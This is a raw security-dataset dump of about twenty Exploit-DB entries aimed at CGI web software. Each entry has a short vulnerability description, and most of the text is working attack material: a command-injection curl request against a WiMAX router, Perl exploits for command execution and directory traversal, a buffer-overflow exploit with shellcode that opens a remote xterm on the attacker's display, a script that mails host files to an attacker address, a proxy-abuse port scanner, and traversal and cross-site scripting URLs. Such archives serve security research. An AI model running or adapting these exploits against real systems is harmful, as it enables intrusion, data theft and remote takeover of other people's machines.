deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39074
Description: Seowon Intech WiMAX SWC-9100 Router - '/cgi-bin/diagnostic.cgi?ping_ipaddr' Remote Code Execution
Type: remote
Platform: cgi
Date: 2014-02-03
Author: Josue Rojas

Exploit:
source: https://www.securityfocus.com/bid/65306/info
 
WiMAX SWC-9100 Mobile Router is prone to a security-bypass vulnerability and a command-injection vulnerability.
 
Exploiting these issues could allow an attacker to bypass certain security restrictions or execute arbitrary commands in the context of the device.
 
curl -v --data "select_mode_ping=on&ping_ipaddr=127.0.0.1>/dev/null; ls 
-lash /etc%23&ping_count=1&action=Apply&html_view=ping" 
"http://www.example.com/cgi-bin/diagnostic.cgi" > /dev/null
Exploit-DB #21068
Description: SIX-webboard 2.01 - File Retrieval
Type: remote
Platform: cgi
Date: 2001-08-31
Author: Hannibal Lector

Exploit:
source: https://www.securityfocus.com/bid/3175/info

SIX-webboard 2.01 does not filter ".." and "/" from user input, allowing users to enter arbitrary values in order to view or retrieve files not normally accessible to them from the remote host. 

http://www.target.com/cgi-bin/webboard/generate.cgi/?content=../../../../../../../../../directory/file%00&board=boardsname
Exploit-DB #21340
Description: Solaris 7.0/8 Sunsolve CD - SSCD_SunCourier.pl CGI Script Arbitrary Command Execution
Type: remote
Platform: cgi
Date: 2002-03-11
Author: Fyodor

Exploit:
source: https://www.securityfocus.com/bid/4269/info

The Sunsolve CD is part of the Solaris Media pack. It is included as a documentation resource, and is available for the Solaris Operating Environment.

A CGI script included with the CD does not adequately sanitize input. Due to a design failure which does not remove special characters such as the pipe (|) character, a user submitting a malicious email address to the script could execute arbitrary commands with the permissions of the executing program. 

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
ua = new LWP::UserAgent;
$ua->agent("Scrapers");
my $req = POST  'http://sunsolveCD.box.com:8383/cd-cgi/sscd_suncourier.pl',
[
step =>  "submit" ,
emailaddr => "foo\@bar.com| id > /tmp/foo|"];
$res = $ua->request($req);
print $res->as_string;
print "code", $res->code, "\n";
Exploit-DB #19713
Description: Solution Scripts Home Free 1.0 - 'search.cgi' Directory Traversal
Type: remote
Platform: cgi
Date: 2000-01-03
Author: k0ad k1d

Exploit:
source: https://www.securityfocus.com/bid/921/info

Home Free is a suite of Perl cgi scripts that allow a website to support user contributions of various types. One of the scripts, search.cgi, accepts a parameter called letter which can be any text string. The supplied argument can contain the '../' string, which the script will process. This can be used to obtain directory listings and the first line of files outside of the intended web filesystem.


#!/usr/bin/perl
#
# Quick exploit of the Home Free ./search.cgi script, allows you to list
# directories on the host.
#
#

use IO::Socket;

if ($ARGV[0] eq "") { die "no argument\n"; }

$asoc = IO::Socket::INET->new(Proto     => "tcp",
                              PeerAddr  => "target.host.net",
                              PeerPort  => 80) ||
                     die "can't connect to host: $!";

select($asoc);
$| = 1;

print $asoc "GET /cgi-bin/search.cgi?letter=..\\..\\..\\..\\$ARGV[0]&start=1&perpage=all HTTP/1.0\n\n";

while(<$asoc>) {
             if ($_ =~ /.+HREF.+TD.+/) {
                     @parts = split("\"", $_);
                     $foo = $parts[1];
                     @parts = split("/", $foo);
                     print STDOUT $parts[3];
                     print STDOUT "\n";
             }
     }
close(ASOC);
Exploit-DB #20465
Description: Squid Web Proxy 2.2 - 'cachemgr.cgi' Unauthorized Connection
Type: remote
Platform: cgi
Date: 1999-07-23
Author: fsaa

Exploit:
source: https://www.securityfocus.com/bid/2059/info

The 'cachemgr.cgi' module is a management interface for the Squid proxy service. It was installed by default in '/cgi-bin' by Red Hat Linux 5.2 and 6.0 installed with Squid. This script prompts for a host and port, which it then tries to connect to. If a webserver such as Apache is running, this can be used to connect to arbitrary hosts and ports, allowing for potential use as an intermediary in denial-of-service attacks, proxied port scans, etc. Interpreting the output of the script can allow the attacker to determine whether or not a connection was established. 

#!/bin/bash -x

# Port scanning using a misconfigured squid
# using open apache

# Usage miscachemgr host_vuln host_to_scan end_port

# Concept: Jacobo Van Leeuwen & Francisco S�a Mu�oz
# Coded by Francisco S�a Mu�oz
# IP6 [Logic Control]

PORT=1
ONE='/cgi-bin/cachemgr.cgi?host='
TWO='&port='
THREE='&user_name=&operation&auth='

mkdir from_$1_to_$2

while [ $PORT -lt $3 ]; do

# lynx -dump http://$1/cgi-bin/cachemgr.cgi?host=\
# $2&port=$PORT&user_name=&operation=authenticate&auth= > \
# port_$1_to_$2/$PORT.log 2>&1

lynx -dump http://$1$ONE$2$TWO$PORT$THREE > from_$1_to_$2/$PORT.log 2>&1
let PORT=PORT+1

done
Exploit-DB #36045
Description: SurgeFTP 23b6 - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: cgi
Date: 2011-08-16
Author: Houssam Sahli

Exploit:
source: https://www.securityfocus.com/bid/49160/info

SurgeFTP is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

SurgeFTP 23b6 is vulnerable; other versions may also be affected.

http://www.example.com/cgi/surgeftpmgr.cgi?cmd=log&domainid=0&fname="<script>alert('XSS');</script>
http://www.example.com/cgi/surgeftpmgr.cgi?cmd=log&domainid=0&last="<script>alert('XSS');</script>
http://www.example.com/cgi/surgeftpmgr.cgi?cmd=class&domainid=0&class_name="<script>alert('XSS');</script>
http://www.example.com/cgi/surgeftpmgr.cgi?cmd=report_file&domainid=0&filter="<script>alert('XSS');</script>
http://www.example.com/cgi/surgeftpmgr.cgi?cmd=user_admin&domainid="<script>alert('XSS');</script>
http://www.example.com/cgi/surgeftpmgr.cgi?cmd=class&domainid=0&classid="<script>alert('XSS');</script>
Exploit-DB #23987
Description: SurgeLDAP 1.0 - 'User.cgi' Directory Traversal
Type: remote
Platform: cgi
Date: 2004-04-12
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10103/info

SurgeLDAP is prone to a directory traversal vulnerability in one of the scripts included with the built-in web administrative server, potentially resulting in disclosure of files. 

A remote attacker could exploit this issue to gain access to system files outside of the web root directory of the built-in web server. Files that are readable by the web server could be disclosed via this issue.

http://www.example.com:6680/user.cgi?cmd=show&page=/../../../boot.ini
Exploit-DB #20689
Description: SWSoft ASPSeek 1.0 - 's.cgi' Remote Buffer Overflow
Type: remote
Platform: cgi
Date: 2001-03-19
Author: teleh0r

Exploit:
source: https://www.securityfocus.com/bid/2492/info

A buffer overflow in ASPSeek versions 1.0.0 through to 1.0.3 allows for arbitrary code execution with the privileges of the web server. The vulnerable script is s.cgi and the buffer overflow can be accessed by submitting an excessively long query string to the script (the variable tmpl, specifically). 

#!/usr/bin/perl

# | Remote buffer overflow exploit for ASPSeek, SWSoft
# | Copyright (c) 2001 by <teleh0r@doglover.com>
# | All rights reserved.
# |
# | Usage: $0 -t target -a attacker -d dpy -o offset
# | Credits to NeilK who discovered the vulnerability!

use Getopt::Std; getopts('t:a:d:o:', \%args);
use Socket;

if (defined($args{'t'})) { $target   = $args{'t'}; }
if (defined($args{'a'})) { $attacker = $args{'a'}; }
if (defined($args{'d'})) { $dpy      = $args{'d'}; }
if (defined($args{'o'})) { $offset   = $args{'o'}; }

$shellcode = # RaiSe <raise@undersec.com>
"\xeb\x4f\x5e\x31\xd2\x88\x56\x14\x88\x56\x18\x88\x56".
"\x21\xb2\x2b\x31\xc9\xb1\x09\x80\x3c\x32\x4b\x74\x05".
"\x42\xe2\xf7\xeb\x2b\x88\x34\x32\x31\xd2\x89\xf3\x89".
"\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d\x7e\x19\x89\x7e".
"\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e\x36".
"\x8d\x56\x46\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8".
"\x40\xcd\x80\xe8\xac\xff\xff\xff/usr/X11R6/bin/xterm".
"8-ut8-display8${attacker}:${dpy}K";

# Remember to allow $target to connect to your X by 
# using xhost + $target.

$return = 0xbfffd1a4;
$length = 5200;
$egglen = 4500;

if (!(defined($target && $attacker && $dpy))) {
    die("Error: $0 -t \"target\" -a \"attacker\" -d \"dpy\"\n");
}

print("Address: 0x", sprintf('%lx', ($return + $offset)), "\n");
$new_ret = pack('l', ($return + $offset));

for ($i = 0; $i < $length; $i += 4) {
    $buffer .= $new_ret;
}

for ($i = 0; $i < ($egglen - length($shellcode)); $i++) {
    $egg .= 'A';
}

$egg .= $shellcode;

$exploit =
"GET /./cgi-bin/./s.cgi?q=a&tmpl=$buffer HTTP/1.1
Host: $target
Referer: http://teleh0r.cjb.net/
User-Agent: $egg
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate, compress, identity
Content-Type: application/x-www-form-urlencoded";

$iaddr = inet_aton($target)                  || die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr)             || die("Error: $!\n");
$proto = getprotobyname('tcp')               || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr)                      || die("Error: $!\n");
send(SOCKET,"$exploit\015\012", 0)           || die("Error: $!\n");
close(SOCKET);

# Tested on Redhat 6.2 - aspseek-1.0.3 - Tue Mar 20 18:09:44 2001
Exploit-DB #23304
Description: Symantec Norton Internet Security 2003 6.0.4.34 - Error Message Cross-Site Scripting
Type: remote
Platform: cgi
Date: 2003-10-27
Author: KrazySnake

Exploit:
source: https://www.securityfocus.com/bid/8904/info

It has been reported that Symantec Norton Internet Security is prone to a cross-site scripting vulnerability. The issue is reported to exist when the software blocks a restricted website and an error message containing the requested URL is returned to the user. This URL is not sanitized for malicious input therefore allowing a remote attacker to execute HTML or script code in the browser of a user running the vulnerable software. The script code would run in the context of the blocked site.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information that could be used to launch further attacks.

Norton Internet Security 2003 v6.0.4.34 has been reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com/page.cgi?<SCRIPT>alert(document.domain)</SCRIPT>
Exploit-DB #19842
Description: TalentSoft Web+ 4.x - Directory Traversal
Type: remote
Platform: cgi
Date: 2000-04-12
Author: John P. McNeely

Exploit:
source: https://www.securityfocus.com/bid/1102/info

Web+ is an e-commerce server designed to run under a webserver, to provide web storefronts. The various scripts that are required to do this are specified to the webpsvr daemon via a 'script' variable passed to the webplus CGI. This CGI can be passed a path to any file via the script variable, resulting in arbitrary files being displayed to the browser. This vulnerability is limited to files that are known to the user and that the webpsvr daemon has read access to.

http&nbsp;://target/cgi-bin/webplus?script=/../../../../etc/passwd
Exploit-DB #20244
Description: TalentSoft Web+ Client/Monitor/server 4.6 - Internal IP Address Disclosure
Type: remote
Platform: cgi
Date: 2000-09-27
Author: Delphis Consulting

Exploit:
source: https://www.securityfocus.com/bid/1720/info

Talentsoft Web+ is a web application server that can be integrated with various web technologies.

A vulnerability exists in one of the CGI applications implemented by Web+. It is possible for a remote user to retrieve the internal IP address in a NAT environment running Web+. Requesting a specially crafted URL containing the 'about' argument will disclose the internal IP address behind the NAT.

Successful exploitation of this vulnerability could aid in further and more complicated attacks against the target site. 

http://target/cgi-bin/webplus.exe?about
Exploit-DB #20245
Description: TalentSoft Web+ Client/Monitor/server 4.6 - Source Code Disclosure
Type: remote
Platform: cgi
Date: 2000-09-27
Author: Delphis Consulting

Exploit:
source: https://www.securityfocus.com/bid/1722/info

Talentsoft Web+ is a web application server that can be integrated with various web technologies.

Web+ can be used to display the source code of WML files residing on an NTFS parition by appending certain data to the known WML file. This vulnerability is also known to work if the scripts directory is set to the web root which enables the disclosure of other script (eg. ASP files) source code.

Successful exploitation of this vulnerability may reveal source code, table names, usernames, passwords, and other forms of confidential data. 

http://target/cgi-bin/webplus.exe?script=test.wml::$DATA
Exploit-DB #20940
Description: Tarantella Enterprise 3 3.x - 'TTAWebTop.cgi' Arbitrary File Viewing
Type: remote
Platform: cgi
Date: 2001-06-18
Author: kf

Exploit:
source: https://www.securityfocus.com/bid/2890/info

Tarantella Enterprise 3 is a tool for centralized management of data and applications. It is operated via a web interface. It will run on a number of Unix and Linux distributions.

ttawebtop.cgi is a CGI script included with the Tarantella, formerly SCO. ttawebtop.cgi is designed as management tool, designed to allow a user clicking a link to display and resume an application at any time.

ttawebtop.cgi does not sufficiently validate input. In not doing so, it's possible for a remote user to traverse the directory structure, and view any file that is readable by the webserver process. 


http://xxx/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/passwd
Exploit-DB #20522
Description: Technote 2000/2001 - 'board' File Disclosure
Type: remote
Platform: cgi
Date: 2000-12-23
Author: bt

Exploit:
source: https://www.securityfocus.com/bid/2155/info

Technote Inc. offers a Multicommunication Package which includes a web board type of service.

A script that ships with Technote, print.cgi, accepts a parameter called "board". This remotely-supplied variable is used as a filename when the open() function is called. In addition to allowing the attacker to specify a file to be opened remotely, the variable is not checked for "../" character sequences. As a result, a malicious remote user can specify an arbitrary file on the file system as this variable (by using ../ sequences followed by its real path), which will be opened by the script. Its contents will then be disclosed to the attacker.

Successful exploitation of this vulnerability could lead to the disclosure of sensitive information and possibly assist in further attacks against the victim

It should be noted that the attacker may only read files which are accessible to the web-server process. 

http://target/technote/technote/print.cgi?board=../../../../../../../../etc/passwd%00
Exploit-DB #20583
Description: textcounter.pl 1.2 - Arbitrary Command Execution
Type: remote
Platform: cgi
Date: 1998-06-24
Author: Doru Petrescu

Exploit:
source: https://www.securityfocus.com/bid/2265/info

textcounter.pl is distributed through Matt's Scripts archive, and provides added features to httpd servers such as counters, guestbooks, and http cookie management. Due to insufficient checking of entered characters, it is possible for a remote user to input custom formatted strings into the $DOCUMENT_URI environment variable which, which when parsed can be executed as the UID of the httpd process. This makes it possible for a user with malicious intentions to execute arbitrary commands, and potentially gain access to the local host. 

#!/usr/bin/perl

$URL='http://dtp.kappa.ro/a/test.shtml';    # please _DO_ _modify_ this 
$EMAIL='pdoru@pop3.kappa.ro,root';          # please _DO_ _modify_ this


if ($ARGV[0]) {
   $CMD=$ARGV[0];
}else{
   $CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one";
}

$text="${URL}/;IFS=\8;${CMD};echo|";
$text =~ s/ /\$\{IFS\}/g;

#print "$text\n";

system({"wget"} "wget", $text, "-O/dev/null");
system({"wget"} "wget", $text, "-O/dev/null");
#system({"lynx"} "lynx", $text); 
#system({"lynx"} "lynx", $text);     # if you don't have "wget"
                                  # you can try with "Lynx"
Exploit-DB #22355
Description: Thunderstone TEXIS 3.0 - 'texis.exe' Information Disclosure
Type: remote
Platform: cgi
Date: 2003-03-14
Author: sir.mordred@hushmail.com

Exploit:
source: https://www.securityfocus.com/bid/7105/info

Thunderstone TEXIS is prone to an information-disclosure vulnerability. 

Under certain circumstances, an attacker may pass command-line switches as URI parameters to the TEXIS executable. This action may cause the vulnerable server to return sensitive information in the form of a webpage to the attacker's browser. 

Information obtained may be used in further attacks against the system.

Versions prior to Texis 4.02[PII_REDACTED] 20030317 are vulnerable.

http://www.example.com/texis.exe/?-version 
http://www.example.com/texis.exe/?-dump
Exploit-DB #19890
Description: ultrascripts ultraboard 1.6 - Directory Traversal
Type: remote
Platform: cgi
Date: 2000-05-03
Author: Rudi Carell

Exploit:
source: https://www.securityfocus.com/bid/1164/info

UltraBoard 1.6 (and possibly all 1.x versions) is vulnerable to a directory traversal attack that will allow any remote browser to download any file that the webserver has read access to. On Windows instalations, the file must reside on the same logical drive as the webroot. In all cases, the filename and relative path from the webroot must be known to the attacker. 

This is accomplished through a combination of the '../' string and the usage of a null byte (x00) in the variables passed to the UltraBoard CGI.

http:&nbsp;://target/ultraboard.pl?action=PrintableTopic&Post=../../filename.ext\000
Exploit-DB #20242
Description: Unixware 7.0 - SCOhelp HTTP Server Format String
Type: remote
Platform: cgi
Date: 2000-09-26
Author: Juliano Rizzo

Exploit:
source: https://www.securityfocus.com/bid/1717/info

SCO Unixware 7 default installation includes scohelp, an http server that listens on port 457/tcp and allows access to manual pages and other documentation files. The search CGI script provided for that purpose has a vulnerability that could allow any remote attacker to execute arbitrary code on the vulnerable machine with privileges of user "nobody". This poses a threat that could result in the remote compromise of the vulnerable host and provide a staging point from where an attacker could escalate privileges. 

There is a user supplied format string bug in the vtopic CGI script that could be abused to execute arbitrary code. By sending a request with the following URI:

http://target:457/search97cgi/vtopic?Action= FilterSearch&filter=&queryText=%25x

The server will elicit the following response:
--
Internal error: STR_sprintf: Invalid format (Error E1-0142 (Query
Builder): Invalid character '%' (0x25))

Result
Search failed: -40

Result
Error E1-0142 (Query Builder): Invalid character '

Result
Error E1-0130 (Query Builder): Syntax error in query string near
character 1

Result
Error E1-0133 (Query Builder): Error parsing query: 81888e0

Result
VdkSearchNew failed, error -40

Result
Request failed for REQUEST_METHOD=, QUERY_STRING=

Component
Component (vsearch) failed in processing request, -2

Action
Action (FilterSearch) failed while processing request in component
(vsearch), -2

Service Manager
Action (FilterSearch) failed in processing request, -2
S97IS Service manager failed to process request
--

Note that the line:
Error E1-0133 (Query Builder): Error parsing query: 81888e0

This shows that the server is interpreting the %x argument passed in the URI as the "queryText" value. Supplying a carefully built value for the queryText argument an attacker can change the program flow and execute arbitrary code.
Exploit-DB #20629
Description: Way-Board 2.0 - File Disclosure
Type: remote
Platform: cgi
Date: 2001-02-12
Author: cuctema

Exploit:
source: https://www.securityfocus.com/bid/2370/info

A remote user could gain read access to known files outside of the root directory where Way-Board resides. Requesting a specially crafted URL composed of '%00' sequences along with the known filename will disclose the requested file. 

http://target/way-board/way-board.cgi?db=url_to_any_file%00
Exploit-DB #24342
Description: Webcam Corp Webcam Watchdog 4.0.1 - 'sresult.exe' Cross-Site Scripting
Type: remote
Platform: cgi
Date: 2004-08-02
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10837/info

Reportedly Webcam Corp Webcam Watchdog is affected by a remote cross-site scripting vulnerability in the sresult.exe binary. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated web content.

As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user. Specifically the attacker can pass malicious HTML code as a value for the affected URI parameter supplied to 'sresult.exe'. All code will be executed within the context of the website running the vulnerable software.

http://www.example.com/sresult.exe?cam=[code]
Exploit-DB #20447
Description: WebCom datakommunikation Guestbook 0.1 - 'rguest.exe' Arbitrary File Access
Type: remote
Platform: cgi
Date: 1999-04-09
Author: Mnemonix

Exploit:
source: https://www.securityfocus.com/bid/2024/info
 
The freeware guestbook package from freeware.webcom.se provides a web-based guestbook feature, using CGI. Some versions of this guestbook (undetermined at the time of writing) are vulnerable to an attack allowing an intruder to retrieve the contents of arbitrary files to which the web server has access. This can be accomplished by specifying the path and filename as the parameter "template" to either rguest.exe or wguest.exe - see Exploit for example. These two programs typically reside in /cgi-bin.

http://server/cgi-bin/rguest.exe?template=c:\winnt\system32\$winnt$.inf will return the $winnt$.inf file
Exploit-DB #20446
Description: WebCom datakommunikation Guestbook 0.1 - 'wguest.exe' Arbitrary File Access
Type: remote
Platform: cgi
Date: 1999-04-09
Author: Mnemonix

Exploit:
source: https://www.securityfocus.com/bid/2024/info

The freeware guestbook package from freeware.webcom.se provides a web-based guestbook feature, using CGI. Some versions of this guestbook (undetermined at the time of writing) are vulnerable to an attack allowing an intruder to retrieve the contents of arbitrary files to which the web server has access. This can be accomplished by specifying the path and filename as the parameter "template" to either rguest.exe or wguest.exe - see Exploit for example. These two programs typically reside in /cgi-bin. 

A request for http://server/cgi-bin/wguest.exe?template=c:\boot.ini will return the remote Web server's boot.ini